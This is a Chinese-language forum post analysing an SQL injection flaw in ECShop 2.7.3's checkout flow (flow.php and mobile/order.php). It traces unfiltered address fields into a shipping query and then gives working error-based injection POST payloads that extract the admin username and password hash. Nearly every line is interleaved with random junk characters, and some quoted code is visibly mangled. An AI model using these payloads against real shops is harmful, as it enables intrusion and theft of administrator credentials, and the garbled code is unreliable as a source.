前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
( W# k7 L) X* {2 H& S% n% x. k) y0 B Q& r4 h
漏洞关键文件:
) p- ^, `% l) l$ P6 G7 K1 o& N3 B) Z6 c7 @& b
/includes/lib_order.php L! \8 d) h2 q6 \( T# H- G
+ p; u6 K# Q1 u, N7 o& B& Q
关键函数:
! R( J _9 b" y2 C! Y) G# x3 y+ `% w- X: s
9 \5 X4 Q* l; q6 k2 l- s P* q3 I" t7 `, { i- Z' W
01 function available_shipping_list($region_id_list) - V2 v9 Z @* K* z: ^% `6 r* V
% I% f- n7 f% x& Q4 x: U/ \
02 { * U6 I6 N( v# A9 ~' m" P4 Z
8 ]$ H* Z; f {
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . " t4 z, y& t7 k0 P$ T0 ^% b
. a7 c: u- ]9 q2 r5 k7 a
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
3 W) |% F' T7 |( L" M% v
( L" E9 K+ U u# j05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . $ ~3 O' d/ k8 e
3 C$ L5 h4 x- g2 Z/ `* h
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
. J/ E( I3 R$ n' @- i" T0 F. V3 Z2 Y0 A7 \
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. 8 B% C9 E3 X7 c5 f! T
3 c. U, `7 L0 ~3 M, r2 U( g& l& k% G
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
, F9 T, i1 ~7 E4 A5 d1 K- N1 b5 L- d f- I* c/ r* I
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
5 O* Q1 k8 q( L/ ^& Q0 J3 d5 Q, q/ y4 u, U+ j% D
10
. J7 E7 \8 i- c2 K0 X& |
. p" _6 F* C8 ?5 F' }: d! [11 return $GLOBALS['db']->getAll($sql); ( A. G* M8 v: |! Q8 Q$ r
6 t. D4 R# g1 k5 E+ ~; o
12 }
6 B W5 O2 C& F/ X! r
3 r/ x1 z V% N: n- V9 I显然对传入的参数没有任何过滤就带入了查询语句。6 a- O3 i9 y! R! h
" j% o5 c0 L- c' {7 v下面我们追踪这个函数在flow.php中:
; W5 e$ b: D( V3 { 第531行:
4 d4 U7 s/ s' j# \8 T/ z5 N
$ Z1 W) \- {9 r W$ l5 H' l1 $shipping_list = available_shipping_list($region); ( J9 Q% f) _2 L5 Z; @8 t
, O! \2 N, F# i( z1 e + N0 Q8 [0 d6 s' M. G/ g3 I) ]
8 T H! u/ x6 z1 D- |9 J8 ~
# [" k V) c3 w. G$ ] t/ t
) d5 Z5 e/ ?+ G
再对传入变量进行追踪:' b; t6 A: C/ p4 F3 d7 r$ ~0 W
: f% F7 K( g* m第530行:
* I% Q3 ?4 |" O! S) C
y W/ e$ r0 A+ h) Q1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
2 G( V9 z& @4 s1 B7 K. w* g$ y) X8 z7 p7 _$ W5 r) K' U2 u
& t( _5 S9 J, r: _# {$ L
# t W5 `! a3 X1 [& t
' k/ n; W+ ^) T5 A1 n; b+ J! J' \; l9 ?! v3 u
第473行: 5 S7 G7 u T0 z# ^: X* ?
9 O4 _5 V$ N' _8 v0 a3 [
1 $consignee = get_consignee($_SESSION['user_id']);
& \8 Y9 f% w, U) x) U1 T! d
q3 u/ i1 N+ T到了一个关键函数:
q+ \; @0 J; R5 Z
. R; D2 _+ K6 b. X: f2 x/includes/lib_order.php
+ V( a, ]/ }/ C7 o1 a n' ]8 J! I* Y+ K2 \6 k
# D% o' S2 r' ?% v9 {8 r% A7 G
7 e, g5 U) @, r4 p: h9 c; w
" |8 a8 x2 ^6 z$ t0 j* C1 }' { w9 y' f' a* k8 _0 S2 _
01 function get_consignee($user_id)
2 j# ^" E. U' T+ n7 @3 ]2 _
0 C* T6 d- \" o: G6 w9 }+ i6 A02 { 2 d; A/ v, V% T0 ^" y: M6 S
3 n6 w# M! [. W; W: `" {/ i* x6 k
03 if (isset($_SESSION['flow_consignee']))
& J4 y5 C% f: x5 z& }( x9 R, t. p2 R x4 A; K
04 { 5 C+ a7 y2 `) c/ N* \
4 v- G7 \0 P7 N
05 /* 如果存在session,则直接返回session中的收货人信息 */
/ _) F7 x9 D; f$ a" _% }/ J5 j @1 }5 ~) L; y: B$ A; q; k2 u! P0 r
06
( ?- M a6 M& ^' q, d; K% W1 F
4 X& X- |+ X" ~: @07 return $_SESSION['flow_consignee'];
6 S5 `$ r h/ `+ `3 ~% @) J" x6 }6 T9 X) E4 @* X' e4 O
08 } , K$ M. _ T! g: ] L
) x" H, |% ?3 Y: R
09 else : @" j. U8 k* J
- J" M0 [0 T: ?6 i10 { 0 w/ c9 @: x3 G5 z
4 j s N/ `8 R, W2 f11 /* 如果不存在,则取得用户的默认收货人信息 */
3 e: _: ?, C3 W; t" v# M
9 g7 S9 z: J& g1 W8 t' }5 R12 $arr = array(); # n9 Y8 Q7 k- |! s: i5 P
: C3 B& ?+ ^* D
13
- S' b( X; K4 U6 _! S
: m; ]. e" w) ?" |14 if ($user_id > 0) + t+ n$ \( Y" ^# [! E4 n0 ?" o; k
7 E1 ~+ m. ?8 X; e9 A: z/ M- a7 _15 { , g/ o* [- q0 ~4 z% p' U; b
# t& n Q* ?6 ?6 _; n! j& _' b16 /* 取默认地址 */
2 \2 I: k0 C/ ~" u5 v" d/ T1 g" M+ U3 J6 E9 N4 x, X) L) O& o7 `
17 $sql = "SELECT ua.*".
# u/ {$ i1 L# V9 i8 \: G
3 F- A- V. d; `9 |" N! R18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
% W' c8 t' \/ H' a1 Q' ]- r% i4 R$ O: s9 a/ R) {) F8 `
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ; Q3 c' g @: T5 R) S; X
. j# o- z$ Y* x: c& ~2 A
20
( Z# c% f0 c; p2 z4 r/ c9 h6 I/ [! U' e+ H% ~* n: G
21 $arr = $GLOBALS['db']->getRow($sql);
6 i' _, K- P1 q7 d8 ]3 s' `6 v- O; O
22 } # U5 s# E% x1 h/ @8 K% ]
E! I' d5 }9 U' }. {23 % S7 B/ g/ @" d
* Q% B: g! C' X% G: k6 a7 G24 return $arr;
" u# o% C/ ^' r( T/ b: c9 ?0 z4 D) I* z' U6 C3 w2 A4 U/ b# s
25 }
" K) V z, ^, [1 o8 K9 J" G( z1 T7 N" n- I* {
26 }
; S/ ]4 O) l; B0 F) b2 S( i
( \& N8 j9 l0 w* e, z" f$ U! t* i# ^2 O显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?4 S) c* Z. E5 c# ^* g t' h5 o
6 L6 E, L$ _2 z m
( y. Q9 f3 f( `+ f8 u
7 J T) c$ U$ [: F- X关键点:- |& _. @; R' T" b ]$ @
( H2 @; ~; r/ \. q' X+ v1 E) Q$ T$ L第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
) g% A9 t/ _2 d+ ]. t3 D3 O0 q2 L# [. R+ H
这里对传入参数反转义存入$_SESSION中。
: e5 o3 q5 [% d1 F; o8 E' ?/ u0 [" I' I \) ^* B& z
& Z% ?" _4 L$ q3 L. ?6 A
; S% U* [) }2 b2 G然后看下:
7 r+ V7 d; j- V. J8 ?; [1 D5 X8 }3 Y1 V
' L b h W" q, T, X
( ~, Y& y4 J$ B2 F1 J
5 Z. r& @, w* u" z6 |8 A/ D! z
7 C2 I% t6 w K* o% v$ l01 $consignee = array(
) |. t; l- l: ^
" p2 e0 B* `. ^$ O02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
0 A$ _) r4 ~2 r- F- C- ^/ H
* a7 ^# ?5 p ~, N! _03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
2 Y9 V% I# b g& e4 Z; d; v0 I
' J6 i6 L% q' [. M; g" l8 W/ N+ Y04 'country' => empty($_POST['country']) ? '' _POST['country'], & m. |: J g q- s6 u9 _2 m
' k' E3 p, P$ |) p0 @
05 'province' => empty($_POST['province']) ? '' _POST['province'], ' ~2 ?4 N, u7 ]
9 y: o( H1 s- I( a06 'city' => empty($_POST['city']) ? '' _POST['city'],
1 T$ I* V- s: n, e$ h* ?4 q
, m% u) K k# I: r07 'district' => empty($_POST['district']) ? '' _POST['district'], 2 \+ J- U& S) C+ _- A$ D5 s
8 G" o- L. T( [- w# v
08 'email' => empty($_POST['email']) ? '' _POST['email'],
# z; R/ q% |) A9 p5 |
% w6 X* x* s6 A8 J7 ] @09 'address' => empty($_POST['address']) ? '' _POST['address'], k, c1 C: l% x$ L
! [7 u) g/ t |3 @
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
3 r! T# E% U7 G! ^* m: ]7 J) U4 r4 E+ t% Z
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 7 k4 o6 A' I2 A) A0 }/ H7 e8 L
% Y( X* V$ R0 m; s
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
. I' Y5 Q$ B( E$ X0 `! I2 V+ U4 V
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
% \0 u& I7 B0 w3 b2 F: u0 D! F4 N; ~0 A6 D0 t4 Y, x' q( I" h' g
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
2 D+ |6 b( J" m5 u7 F y
4 T, J0 S3 x5 Y15 ); 4 c; z% y# [; n% H& N: \
5 q0 C% K. P8 H' D
好了注入就这样出现了。
- R5 w5 |% h. z5 w4 m3 |! e4 o
- \/ C e! K1 O==================- T% w% F& H- q5 u# G. h; D: K
* Q% \! I. t- _
注入测试:7 l0 J7 v$ o: q/ V% Q
" u- L7 }( n/ o, q
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
% o% g3 [" D/ M- p0 y- l! D/ N( q: E! Y- J
测试程序:ECShop_V2.7.3_UTF8_release1106
8 J' s( w6 X0 q8 ~) ]5 H! R9 V) @6 Y& I3 |% Z/ u
* f4 Q0 f1 g7 [7 _1 N
1 A/ ~5 H4 \7 l# G5 @/ c' M
1.首先需要点击一个商品加入购物车
5 D: o8 O6 p2 y$ i
o, `! u$ i4 |5 n; b! X2.注册一个会员帐号! E) @8 G7 k: Q
1 S7 S9 A7 k0 C0 \ _# W
3.post提交数据
, F( p; J9 s0 V+ b# @6 m, ]
* }6 I8 ?1 b' l4 {7 } n5 O- t; X; g* @9 q' C) X
: Z; y: y! j) @: N) t0 S1 http://127.0.0.1/ecshop/flow.php 3 t, n v/ w/ t% [
2 ~. ?! D2 H; p5 A3 Y
2
$ }* {2 E% C2 b: z
8 h) E. f0 F" h8 _9 j/ O3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= " X! S% |2 K2 X! |
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
- i4 A2 {6 u/ I. J
. u( b/ z# d# Q( k( Z我们搜寻关键函数function available_shipping_list()1 U7 ]9 Q: L a8 n9 Z
! V. c4 W+ ]5 w- J; n在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同+ B7 E' c3 f: Z
+ W6 |" ]0 H f3 I; F利用exp:
7 |" Q+ K. e) r
! ~* p2 f; C* D9 b2 E, O1.点击一个商品,点击购买商标
! r8 Q; a$ L# M( w3 T* P+ z6 T. K: R( O ~3 H& C2 j
2.登录会员帐号
, T. ?/ m8 v: k* q/ q: J5 M3 `. n8 h; ?: W1 w, T# _% H" S1 N
3.post提交:1 h! B1 _5 l! z6 x. c4 n
& O7 }* y* Q8 `, @2 Ahttp://127.0.0.1/ecshop/mobile/order.php
% S' n) n7 ]6 v) x# v2 a) V% h1 U& ^- k" y% W( f( g( X
& F* t% R& k: u. T# K# Q8 ~
$ r$ q* ^2 Z9 p( Q4 ~- C2 Wcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
* |9 i. t' R) ^% A1 m: ?3 v) f( E" s' O7 s
|